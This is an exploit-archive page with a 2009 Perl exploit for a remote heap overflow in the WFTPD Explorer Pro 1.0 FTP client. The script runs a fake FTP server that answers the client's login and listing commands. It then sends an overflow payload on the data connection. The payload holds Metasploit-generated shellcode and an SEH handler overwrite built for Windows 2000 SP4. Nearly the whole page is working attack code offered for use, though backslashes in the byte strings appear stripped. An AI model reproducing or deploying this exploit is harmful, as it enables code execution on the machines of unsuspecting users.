[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit
# Published : 2009-01-29
# Author : SkD
# Previous Title : Internet Explorer 7 ClickJacking Vulnerability (2009-01-23)
# Next Title : Motorola Wimax modem CPEi300 (FD/XSS) Multiple Vulnerabilities


#!/usr/bin/perl
#
# WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit
# ---------------------------------------------------
# Exploit by SkD                 (skdrat@hotmail.com)
#
# This is a remote heap overflow exploit for 
# WFTPD Explorer Pro 1.0 by Texas Imperial Software.
# (Vendors website = http://www.wftpd.com)
#
# Tested on Windows 2000 SP4.
#
# I haven't used the more common methods of overwritting
# PEB or UEF as it seemed both of them were not called
# when the heap was overflowed, probably due to clean
# clear ups when the overflow is detected. So I chose
# to overwrite a local SEH handler address. I have tested
# it numerously and the success rate is 100% in Win2k Sp4.
# The exploit is basically based on the PoC by r4x
# and it recreates the scenario but also exploits it by
# creating two sockets, which the vital point is the 
# data socket.
# 
# Enjoy it ladies & gents.
# 
# Greets fly out to InTeL & str0ke.
#
# Note: Author has no responsibility over the damage you do
#       with this!

use IO::Socket;
use warnings;
use strict;

print "[x] WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploitn";
print "[x] Exploit by SkD (skdrat@ hotmail.com)n";

my @requests  =
	("USER", "PASS", "TYPE", "PWD", "PASV", "LIST");
my @response =
	("331 Password required.rn", "230 User logged in.rn", "200 Type set to I.rn",
	 "257 '/' is current directory.rn", "227 Entering Passive Mode (127,0,0,1,100,100).rn",
	 "150 Opening ASCII mode data connection for file list.rn");

# win32_exec -  EXITFUNC=thread CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
	          "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
	          "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
	          "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
	          "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
	          "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".
	          "x42x50x42x30x42x50x4bx38x45x34x4ex43x4bx38x4ex47".
	          "x45x30x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx48".
	          "x4fx35x42x42x41x50x4bx4ex49x54x4bx58x46x43x4bx58".
	          "x41x30x50x4ex41x53x42x4cx49x49x4ex4ax46x48x42x4c".
	          "x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
	          "x46x4fx4bx33x46x45x46x32x46x30x45x47x45x4ex4bx58".
	          "x4fx35x46x52x41x50x4bx4ex48x46x4bx38x4ex50x4bx44".
	          "x4bx48x4fx55x4ex31x41x30x4bx4ex4bx38x4ex31x4bx48".
	          "x41x30x4bx4ex49x38x4ex55x46x52x46x50x43x4cx41x43".
	          "x42x4cx46x36x4bx38x42x54x42x43x45x38x42x4cx4ax47".
	          "x4ex50x4bx38x42x34x4ex50x4bx38x42x57x4ex31x4dx4a".
	          "x4bx48x4ax36x4ax30x4bx4ex49x30x4bx58x42x38x42x4b".
	          "x42x30x42x30x42x50x4bx58x4ax56x4ex33x4fx45x41x33".
	          "x48x4fx42x56x48x45x49x58x4ax4fx43x38x42x4cx4bx47".
	          "x42x45x4ax46x4fx4ex50x4cx42x4ex42x56x4ax36x4ax59".
	          "x50x4fx4cx48x50x50x47x45x4fx4fx47x4ex43x36x41x36".
	          "x4ex36x43x56x42x30x5a";

my $heapend =     #The heap sometimes needs to be fed (end) with strange bytes ;)
	          "x83xc5x7ax83xc5x7ax8bx45x00xbdx68xc3xd3x55xa7x86".    #No specific instructions
		  "xb9x42x42x42x42x40x40x40x40x39x08x75xf8xffxe0x2f".    #No specific instructions
		  "xefxdex50xc6xabx54xc3x48x9cx4dxa7x9cxf3x54xc7x8a".    #No specific instructions
		  "x58x61xa7xc2x3dx64xecx5ax7fxd1xecxb7xd4x94xe6xce".    #No specific instructions
		  "xd2x97xc7x37xe8x01x08xc7xa6xb0xa7x9cxf7x54xc7xa5".    #No specific instructions
		  "x58x59x67x48x8cx49x2dx28x58x49xa7xc2x38xdcx70xe7".    #No specific instructions
		  "xd7x96x1dx03xb7xdex6cxf3x56x95x54xcfx58x15x20x48".    #No specific instructions
		  "xa3x49x81x48xbbx5dxc7xcax58xd5x9cxc3xd3x55xa7xab".    #No specific instructions
		  "xefx0ax1dx35xb3x03xa5x3bx50x95x57x93xbbxbaxe2x23".    #No specific instructions
		  "xb3x3dxb4x3dx59x5bx7bx3cx34x36x4dxafxb0x55x2cxc3";    #No specific instructions


my $overflow1 =     "x41" x (1024 - length($shellcode));
my $overflow2 =     "x42" x 144;
my $overwriteaddr = "x18xfex91x00"; #SEH Handler Address, will be called after a deliberate exception
my $shellcodeaddr = "xd0x7axd3x00"; #Address of a huge sled of 0x41 bytes that will lead to the shellcode
my $heappart =      "x41" x 6 ."xEBx08".$shellcodeaddr.$overwriteaddr."x41" x 6 ."xEBx08"; #JMPs here are used in some cases
my $payload =       $overflow1.$shellcode.$heappart.$shellcodeaddr.$overwriteaddr.
	            $heapend.$overflow2."rn"; #Heap overflow packet payload ;)

while(1)
{
	my $sock1=new IO::Socket::INET(Listen=>1,LocalAddr => "127.0.0.1",LocalPort=>21,Proto=>'tcp');
	my $sock2=new IO::Socket::INET(Listen=>1,LocalAddr => "127.0.0.1",LocalPort=>25700,Proto=>'tcp');
	die unless $sock1;
	die unless $sock2;
	print "[x] Waiting for clients ...n";
	my $s1;
	my $s2;
	while($s1=$sock1->accept()){
		print "t[x] Got a client !n";
		print $s1 "220 Welcome to SkD FTPDAEMONrn";
		while(my $request = <$s1>){
                	my @arr = split("x20", $request);
			print "tt[x] Request = ".$arr[0]."n";
                	if(length($arr[0]) == 0){
	                        print $s1 "502 Command not implemented.rn";
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[0]){
	                        print $s1 $response[0];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[1]){
	                        print $s1 $response[1];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[2]){
	                        print $s1 $response[2];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[3]){
                                print $s1 $response[3];
                                sleep(0.25);
	                } elsif($arr[0] eq $requests[4]){
                        	print $s1 $response[4];
                                sleep(0.25);
                                $s2 = $sock2->accept();
                                print "tt[x] Data socket connected!n";
	                } elsif($arr[0] eq $requests[5]){
                        	print "tt[x] Sending exploit ;)!n";
                                print $s1 $response[5];
                                sleep(1);
                                print $s2 $payload;
	                        sleep(1);
                                print "t[x] Exploitation done.n";
	                        last;
	                }
		}
                print "t[x] Client disconnected.n";
                close $sock1; #Clean up socket1
                close $sock2; #Clean up socket2
                last;
	}
}

# www.Syue.com [2009-01-29]